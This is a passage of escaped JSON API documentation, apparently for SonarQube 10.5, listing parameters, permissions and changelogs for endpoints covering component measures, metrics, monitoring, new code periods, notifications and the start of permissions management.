\u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that are exactly the same as the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;FILE_NAM\u0026#34;, \u0026#34;minimumLength\u0026#34;: 3 }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003EUTS - Test Files\\u003C/li\\u003E\\u003Cli\\u003EFIL - Files\\u003C/li\\u003E\\u003Cli\\u003EDIR - Directories\\u003C/li\\u003E\\u003Cli\\u003ETRK - Projects\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;UTS\u0026#34;, \u0026#34;FIL\u0026#34;, \u0026#34;DIR\u0026#34;, \u0026#34;TRK\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of sort fields\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;name,path\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;metric\u0026#34;, \u0026#34;metricPeriod\u0026#34;, \u0026#34;name\u0026#34;, \u0026#34;path\u0026#34;, \u0026#34;qualifier\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;strategy\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Strategy to search for base component descendants:\\u003Cul\\u003E\\u003Cli\\u003Echildren: return the children components of the base component. Grandchildren components are not returned\\u003C/li\\u003E\\u003Cli\\u003Eall: return all the descendants components of the base component. Grandchildren are returned.\\u003C/li\\u003E\\u003Cli\\u003Eleaves: return all the descendant components (files, in general) which don\u0026#39;t have other children. They are the leaves of the component tree.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;all\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;children\u0026#34;, \u0026#34;leaves\u0026#34;, \u0026#34;all\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_history\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search measures history of a component.\\u003Cbr\\u003EMeasures are ordered chronologically.\\u003Cbr\\u003EPagination applies to the number of measures for each metric.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the specified component. \\u003Cbr\\u003EFor applications, it also requires \u0026#39;Browse\u0026#39; permission on its child projects.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;new_blocker_violations\u0026#39;, \u0026#39;new_critical_violations\u0026#39;, \u0026#39;new_major_violations\u0026#39;, \u0026#39;new_minor_violations\u0026#39;, \u0026#39;new_info_violations\u0026#39;, \u0026#39;blocker_violations\u0026#39;, \u0026#39;critical_violations\u0026#39;, \u0026#39;major_violations\u0026#39;, \u0026#39;minor_violations\u0026#39;, \u0026#39;info_violations\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted values for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;new_maintainability_issues\u0026#39;, \u0026#39;new_reliability_issues\u0026#39;, \u0026#39;new_security_issues\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;bugs\u0026#39;, \u0026#39;new_bugs\u0026#39;, \u0026#39;vulnerabilities\u0026#39;, \u0026#39;new_vulnerabilities\u0026#39;, \u0026#39;code_smells\u0026#39;, \u0026#39;new_code_smells\u0026#39;, \u0026#39;high_impact_accepted_issues\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; are now deprecated in the response. Consume \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; values in \u0026#39;metricKeys\u0026#39; param are now deprecated. Use \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metric \u0026#39;wont_fix_issues\u0026#39; is now deprecated in the response. Consume \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;wont_fix_issues\u0026#39; value in \u0026#39;metricKeys\u0026#39; param is now deprecated. Use \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted value for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;accepted_issues\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metricKeys\u0026#39; parameter is not deprecated anymore: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metrics\u0026#39; parameter is deprecated: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;from\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter measures created after the given date (inclusive). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metrics\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of metric keys\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ncloc,coverage,new_violations\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 1000\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 1000 }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter measures created before the given date (inclusive). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/metrics\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;2.6\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get information on automatic metrics\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for metrics\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;types\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List all available metric types.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/monitoring\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Monitoring\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;metrics\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return monitoring metrics in Prometheus format. \\nSupport content type \u0026#39;text/plain\u0026#39; (default) and \u0026#39;application/openmetrics-text\u0026#39;.\\nthis endpoint can be access using a Bearer token, that needs to be defined in sonar.properties with the \u0026#39;sonar.web.systemPasscode\u0026#39; key.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/new_code_periods\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage \\u003Ca href=\\\u0026#34;https://docs.sonarsource.com/sonarqube/10.5/project-administration/defining-new-code/\\\u0026#34; target=\\\u0026#34;_blank\\\u0026#34; rel=\\\u0026#34;noopener noreferrer\\\u0026#34;\\u003Enew code definition\\u003C/a\\u003E.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Lists the \\u003Ca href=\\\u0026#34;https://docs.sonarsource.com/sonarqube/10.5/project-administration/defining-new-code/\\\u0026#34; target=\\\u0026#34;_blank\\\u0026#34; rel=\\\u0026#34;noopener noreferrer\\\u0026#34;\\u003Enew code definition\\u003C/a\\u003E for all branches in a project.\\u003Cbr\\u003ERequires the permission to browse the project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Updates the \\u003Ca href=\\\u0026#34;https://docs.sonarsource.com/sonarqube/10.5/project-administration/defining-new-code/\\\u0026#34; target=\\\u0026#34;_blank\\\u0026#34; rel=\\\u0026#34;noopener noreferrer\\\u0026#34;\\u003Enew code definition\\u003C/a\\u003E on different levels:\\u003Cbr\\u003E\\u003Cul\\u003E\\u003Cli\\u003ENot providing a project key and a branch key will update the default value at global level. Existing projects or branches having a specific new code definition will not be impacted\\u003C/li\\u003E\\u003Cli\\u003EProject key must be provided to update the value for a project\\u003C/li\\u003E\\u003Cli\\u003EBoth project and branch keys must be provided to update the value for a branch\\u003C/li\\u003E\\u003C/ul\\u003ERequires one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39; to change the global setting\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project to change the project setting\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003ESPECIFIC_ANALYSIS - can be set at branch level only\\u003C/li\\u003E\\u003Cli\\u003EPREVIOUS_VERSION - can be set at any level (global, project, branch)\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS - can be set at any level (global, project, branch)\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - can only be set for projects and branches\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;value\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Value\\u003Cbr/\\u003EFor each type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Ethe uuid of an analysis, when type is SPECIFIC_ANALYSIS\\u003C/li\\u003E\\u003Cli\\u003Eno value, when type is PREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003Ea string, when type is REFERENCE_BRANCH\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Shows the \\u003Ca href=\\\u0026#34;https://docs.sonarsource.com/sonarqube/10.5/project-administration/defining-new-code/\\\u0026#34; target=\\\u0026#34;_blank\\\u0026#34; rel=\\\u0026#34;noopener noreferrer\\\u0026#34;\\u003Enew code definition\\u003C/a\\u003E.\\u003Cbr\\u003E If the component requested doesn\u0026#39;t exist or if no new code definition is set for it, a value is inherited from the project or from the global setting.Requires one of the following permissions if a component is specified: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified component\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Execute analysis\u0026#39; rights on the specified component\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;unset\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unsets the \\u003Ca href=\\\u0026#34;https://docs.sonarsource.com/sonarqube/10.5/project-administration/defining-new-code/\\\u0026#34; target=\\\u0026#34;_blank\\\u0026#34; rel=\\\u0026#34;noopener noreferrer\\\u0026#34;\\u003Enew code definition\\u003C/a\\u003E for a branch, project or global. It requires the inherited New Code Definition to be compatible with the Clean as You Code methodology, and one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39; to change the global setting\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights for a specified component\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/notifications\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage notifications of the authenticated user\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a notification for the authenticated user.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003EAuthentication if no login is provided. If a project is provided, requires the \u0026#39;Browse\u0026#39; permission on the specified project.\\u003C/li\\u003E \\u003Cli\\u003ESystem administration if a login is provided. If a project is provided, requires the \u0026#39;Browse\u0026#39; permission on the specified project.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;channel\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Channel through which the notification is sent. For example, notifications can be sent by email.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;EmailNotificationChannel\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;EmailNotificationChannel\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Notification type. Possible values are for:\\u003Cul\\u003E \\u003Cli\\u003EGlobal notifications: CeReportTaskFailure, ChangesOnMyIssue, NewAlerts, SQ-MyNewIssues\\u003C/li\\u003E \\u003Cli\\u003EPer project notifications: CeReportTaskFailure, ChangesOnMyIssue, NewAlerts, NewFalsePositiveIssue, NewIssues, SQ-MyNewIssues\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SQ-MyNewIssues\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List notifications of the authenticated user.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003EAuthentication if no login is provided\\u003C/li\\u003E \\u003Cli\\u003ESystem administration if a login is provided\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a notification for the authenticated user.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003EAuthentication if no login is provided\\u003C/li\\u003E \\u003Cli\\u003ESystem administration if a login is provided\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;channel\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Channel through which the notification is sent. For example, notifications can be sent by email.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;EmailNotificationChannel\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;EmailNotificationChannel\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Notification type. Possible values are for:\\u003Cul\\u003E \\u003Cli\\u003EGlobal notifications: CeReportTaskFailure, ChangesOnMyIssue, NewAlerts, SQ-MyNewIssues\\u003C/li\\u003E \\u003Cli\\u003EPer project notifications: CeReportTaskFailure, ChangesOnMyIssue, NewAlerts, NewFalsePositiveIssue, NewIssues, SQ-MyNewIssues\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SQ-MyNewIssues\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/permissions\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.7\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage permission templates, and the granting and revoking of permissions at the global and project levels.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add_group\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a permission to a group.\\u003Cbr /\\u003E This service defaults to global permissions, but can be limited to project permissions by providing project id or project key.\\u003Cbr /\\u003E The group name must be provided. \\u003Cbr /\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is removed. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;groupId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;groupName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;groupName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name or \u0026#39;anyone\u0026#39; (case insensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, 